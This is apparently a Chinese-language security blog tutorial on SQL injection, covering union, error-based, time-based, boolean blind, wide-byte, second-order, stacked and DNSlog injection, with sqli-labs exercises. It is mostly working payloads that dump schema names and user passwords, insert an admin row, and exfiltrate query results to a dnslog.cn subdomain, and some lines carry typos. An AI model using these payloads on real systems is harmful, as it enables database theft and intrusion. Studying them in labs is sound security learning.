Vulnerability Guide - SQL 从入门到放弃

  • Comments Off on Vulnerability Guide - SQL 从入门到放弃
  • 12 views
  • A+

0x0a、SQL注入基础

sql注入三要素:未严格进行过滤 恶意修改 执行语句

sql注入思路:1、信息收集 2、数据注入 3、权限提升 4、高权利用

注入存在的提交方式:$_GET $_POST $_COOKIE REQUEST HTTP头 等

常见闭合判断(判断是否存在注入点):

常见的闭合符号 :' " ') ") %) % } 也可以判断是否存在注入点

mysql数据库基础知识

  • 相关表单知识
  • SCHEMATABLESCOLUMNS
  • SCHEMA_NAME TABLE_NAME COLUMN_NAME

mysql基础知识

  • mysql注释:# 、–[空格]、/**/ 、%23等等
  • mysql函数:user() 获取用户名、version()获取版本、database()获取数据库

MySql其他函数参考

  • like ‘ro%’ #判断 ro或ro 是否成立
  • regexp ‘^ro[a-z]’ #匹配ro及ro等
  • if((条件),1,0) #条件成立 返回1 反之 返回0
  • sleep(5) #sql语句延时执行时间5s
  • mid(a,b,c) #从位置b开始,截取a字符串 c位数
  • substr(a,b,c) #从b位置开始,截取字符串a的c长度 常用
  • left(database(),1),database() # left(a,b) 从左侧截取a的前b位
  • length(database())=8 #判断数据库database() 名的长度
  • ord=ascii ascii(x)=97 #判断x的ascii码是否等于97

0x0b、常见的注入方式

一、 联合注入union select(有回显)

> 使用语法:union select 1,payload(),3

sql
//查询数据库名
?id=-1 union select 1,(select group_concat(scheme_name) from information_schema.schemata),3 #
//解释为什么这个地方要使用-1。
看一下在数据库中的例子:select * from users where ‘id’=-1 union select 1,(select group_concat(scheme_name) from information_schema.schemata),3 #
//例子里: 前半句select * from users where ‘id’=-1在数据库中查询不出,所以会返回union select 的结果
//查询表名
?id=-1 union selecr 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 #
//查询列名
?id=-1 union select 1,(select group_concat(column_name)) from information_schema.columns where table_name=’users’),3#

二、 报错注入(有回显)

updatexml报错

语法:updatexml(a,b,c) payload放在b处

原理:updatexml第二个参数需要的是xpath格式的字符串,我们输入的很明显就不符合

例如:and updatexml(1,concat(0x3a,(payload()),0x3a),1) #

sql
//查询列名:
?id=1 and (updatexml(1,concat(0x3a,substr((select group_concat(schema_name) from information_schema),1,32),0x7e),1))#
//使用substr做了数据遍历

例题: sqli-labs less11 ($_POST)

usename 和password 里面随便输入一个 admin用burp包抓一下数据

wKg0C2E9lqAWmszAAD2EXEHTL8547.png
对闭合结构进行判断 uname=admin' and 1=1 --+结构闭合

wKg0C2E9miAb9VNAAB0T2kPI4Y060.png

1、用union 类型

uname=0' union select 1,2--+

查操作系统:version()

查询数据库名 :

wKg0C2E9n2AQOhLAABhlgPQrDE102.png

接下来就是 查表名 查列名 查数据 一系列

extravalue报错注入

语法:extractvalue(目标xml文档,xml路径)

原理:与updatexml原因一样,为了符合语法 第二个参数需要的是xpath语法,但是我们输入的显然不符合 所以进行报错

```sql
//使用格式:
extractvalue()id=1 and(extractvalue(1,concat(0x7e,(select user()),0x7e)))#

and extractvalue(1,concat(0x7e,select concat(table_name) from information_schema.tables where table_schema=database())) --+

//接着查询表中对应数据
?id=1' and extractvalue(1,concat(0x7e,substring((select group_concat(username,0x3a,password) from users),1,32)))--+
//这种用substring函数进行遍历 修改1 进行遍历数据
```

还是以less11关为例,进行extravalue报错注入

查系统和数据库名

wKg0C2E9ryABNn8AABDPjU0xTI816.png

wKg0C2E9sCAFvW8AABYXj0Pkks552.png

floor报错注入

sql
// 使用格式:
id=1 and (select 1 from (selectcount(*),concat(user(),floor(rand(0)*2))x from information_schema.tables groupby x)a)#

三、延时注入

if sleep延时注入

语法: if(length(database())>1,sleep(5),1)# //如果数据数据库库名的长度大于1,则页面回显时间延长5s 否则查询1。

原理: 常见判断闭合语句为id=1/闭合条件/ and if (1=1,sleep(6),1)# 判断执行是否成功,成功页面回显增加6s,常见的时间盲注多与if(expr1,expr2,expr3)结合使用

弊端:很多企业的服务器数据很庞大,这种延时注入很可能会造成服务器瘫痪

```sql
//使用方式:
and (select 1 from (select case when) substr (user() like ‘%roo%’ ) then sleep (5) else 1 end)x)#
// 注入语句:
and if (substring((select table_name from information_schema.tables where table_name=database() limit 0,1),1,1)='a',sleep(5),1)#

and if (substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1)='d',sleep(5),1)#

```

四、Boolean盲注

语法:’and length(database())=1# //判断数据库长度是否等于1

原理:通过判断页面回显 对 注入语句进行判断。如果判断正确返回TRUE

sql
//使用方式:
’and select* from admin where id=1 and if (substring(user(),1,1)=’r’,1=1,1=2)–+

0x0c、进阶注入

一、宽字节注入

宽字节:GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象,即将两个ascii字符误认为是一个宽字节字符。

原理:在数据库为GBK编码时可以使用宽字节注入,%df’ 被转义为%df’,因为反斜杠的编码为%5c, 所以 %df’=%df%5c%27,在GBK编码中%df%5c是一个宽字符

```sql
//使用方法:

// 查数据库
id=%df%27%20union%20select%201,%20database()#
// 查询列表
id=%d%27 union select 1,group_concat(table_name) from information_schema.table where table_schema=database()#
```

二、加解密注入

原理:在注入时,数据库经常会出现加密的情况。开发人员设置加密进行应对。我们会在某些地方看到加密之后的字符串(有可能也不会看到)

加解密工具推荐:使用工具:supersoft**
语句: ?id=1 union select * from 1,md5(payload),3#

例题 less-26

wKg0C2E92SAU8nMAABrA2FTjAM731.png

wKg0C2E922AX2bPAABAON4w1NY691.png

wKg0C2E93aAZ4WJAAE66s3wnaM976.png

wKg0C2E94SAeESVAACrx8lP16I035.png

三、二次注入

原理:

第一步:插入恶意数据第一次进行数据库插入数据,对特殊的字符进行转移,但是在写入数据库时还是保留了原有的恶意数据

第二步:引用恶意数据在第二步进行查询的时候,直接从数据库取出了恶意数据,没有进行下一步的验证和处理,造成二次注入

例如:在sqli-labs less-24 操作时插入恶意数据admin’# password=123456,然后再进行修改数据 admin’# password=123321 实际上修改的数据是用户名admin。 利用了数据库语法中的注入和闭合。## 四、堆叠注入

原理:利用数据库可以执行多条语句并用 ; 结束 。堆叠注入在;之后构造下一条注入语句,造成堆叠注入

弊端:可能会有API和数据库引擎不支持的限制

```sql
//语法:
‘;select if (substr(uers(),1,1)=’m’,sleep(3),1)#
//也可以直接接上其他注入方式或者直接构造一个新的admin权限如:
a’;insert into users(id,username,password) values (‘144,’less44,’hello’)#

```

五、DNSlog注入

什么是DNS:
DNS是负责把域名转换为IP地址,DNS在域名解析是会流血域名和解析IP的记录,利用这点 我们可以使用DNS log记录显示我们的注入结果

原理: 通过子查询,将内容拼接到域名内,让load_file()去访问共享文件,访问的域名被记录,这是变为显错注入,读取远程共享文件,通过拼接出函数做查询,拼接到域名中,访问服务器,记录后查看日志

```sql
//语法:
select load_file(‘\SQL注入查询语句.4xxx.dnslog.cn’)#
//查询数据库:

select * from article where id=’1 and if((select load_file(‘\\’,(select database()),’4xxxx.dnslog.cn’))),1,0)#

```

六、json注入

危害: 攻击者可以利用JSON注入漏洞在JSON数据中插入元素,从而允许JSON数据对业务非常关键的值执行恶意操作,严重的可能导致XSS和动态解析代码。

原理:应用程序所解析的JSON数据来源于不可信赖的数据源,程序没有对这些不可信赖的数据进行验证、过滤,如果应用程序使用未经验证的输入构造 JSON,则可以更改 JSON 数据的语义。

相关推荐: Gophish的那点儿东西

Gophish钓鱼的SAO操作 0x01介绍 Gophish 是一个功能强大的开源网络钓鱼框架。 0x02 安装 Github 地址 https://github.com/gophish/gophish/releases/tag/v0.11.0 windows…